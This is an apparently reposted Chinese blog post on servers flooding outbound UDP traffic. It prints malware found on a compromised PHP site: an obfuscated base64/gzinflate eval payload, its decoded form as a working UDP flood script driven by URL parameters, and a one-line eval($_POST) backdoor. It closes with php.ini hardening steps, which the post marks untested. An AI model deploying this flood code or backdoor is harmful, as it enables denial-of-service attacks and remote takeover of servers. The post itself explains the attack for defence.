php使用网络攻击占用超大带宽的,解决方案[转]

未测试

关于近期一些服务器遭受UDP攻击的说明
近来我有一两台服务器显示经常受到udp攻击
导致服务器带宽占用到100%,用华盾查流量占用也无法查到具体是哪个站被攻击了,起初以为是cc攻击,因为停止了iis带宽就为0了,其实不然,都是部分用户被入侵导致的
下面我想说一下被入侵的原理
用户程序中的一个php页面的原代码:
< ?php
/*
gl
*/
eval(gzinflate(base64_decode(\’DZNHkqNIAADv85HpDg4tTGFidrYDCRBOOOEvG5gqrPBOvH77CRmZ+f3vP99D
Ofz6Bbek/SjOqkNtssCPNJkhTf2Xw6zP4cdvIbfUZlQ1XhQchHDF3z39Ldpx33Lk9Xm7
8dUoCHeKfilO46tqg21DiEg+BCTz9QW/GD+lMGtThrSmdSEMLbVkzvPt3s0UMS3m
Dx0WoG2nY+gB2L+fufDyzPU6gNJxAYSarbsanhimzJbUoqZuY0+lV4H6GZtDX9LxkE
9L29swfGYibUTtUsoPqIRi7nFBpdmW0t5ECFWjzmfZe2xqERmtMLVpOqnY436BfrDx
K10KYOfGAWN7s3geqB7RdV7WkxiBHZU4wyW0LXsmyTdcdwk3TOjduh1F8cyvsgY
uaejeLi23csLONsqDsU3gx60zLlm5XQ9jqhbyq949qvb2Us1dqsAGpYvfG3IHY4Txaem
BF2mKKY9StKJuDDHxfmI3z+eWa7OwlgvrxeB5Qz4AE2drfLAYmo6litZOUL1GxMlavO
lDW8/OMb7ci13dLk1y9XDddGgA4onEBZ0vmx8aSWApy6q2JkpO0i8kg1qOx7EVPgE
JNSOLyzZIW8ApDL+V0/0Fstph3qQI+1qQuCwxiZH1aaTMKJItxW5rmz4WyrGmOKCUt
LvAU2dle3a85a0GJJQWOGX5AnHiILQpplJ9mdpdQsw9TybO4whCCMqjfgOuSJ+rRT
+2Ok8rbc/oVd47v+J02tAy9fkMTP2u8HuUo1Ezp5F3XCMyL6ftJAkw+h+R1ljN0M0NYS
/TXCpeY1tyOl7Awe8dP5ygq1VxAFoEKQD6EGdWsWMeBzSruEjIQeRbtgx0oRpw2Cn
KoxFs/KdiQauXc26QYtLSbeaxiAWLeq784jjWnubV2kpIarL4bMVgNxv+9QwM8j1FvNR
1yGa9lVsF1hM63tSpymtn4k1QFEGLVowe93kyhxGbRpNXICoPk3oqbB6DL3chsJ4O
wQk4FOIc2k4MQ3tKy/vfv78/Pz///Pr+Gfd/\’)));
?>
经过N次解密后的代码:
< ?php
$packets = 0;
$ip = $_GET[\’ip\’];
$rand = $_GET[\’port\’];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET[\’time\’];
$time = time();
print \”Flooded: $ip on port $rand <br><br>\”;
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= \”X\”;
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(\”udp://$ip\”, $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo \”Packet complete at \”.time(\’h:i:s\’).\” with $packets (\” . round(($packets*65)/1024, 2) . \” mB) packets averaging \”. round($packets/$exec_time, 2) . \” packets/s \\n\”;
?>
< ?php eval($_POST[ddos])?>
baidu了一下工作原理:
先把你代码放到一个正常的网页中.
通过url传递IP和端口以udp的方式打开.传递文件到服务器写出.
这样服务器就中招了.
也就是服务器显示udp攻击,带宽占用非常之严重,基本是100%,一般徘徊在97%-99%之间
解决方案:
在php.ini中限制php用网络。
在php.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
然后重启IIS

作者: Su

等待完善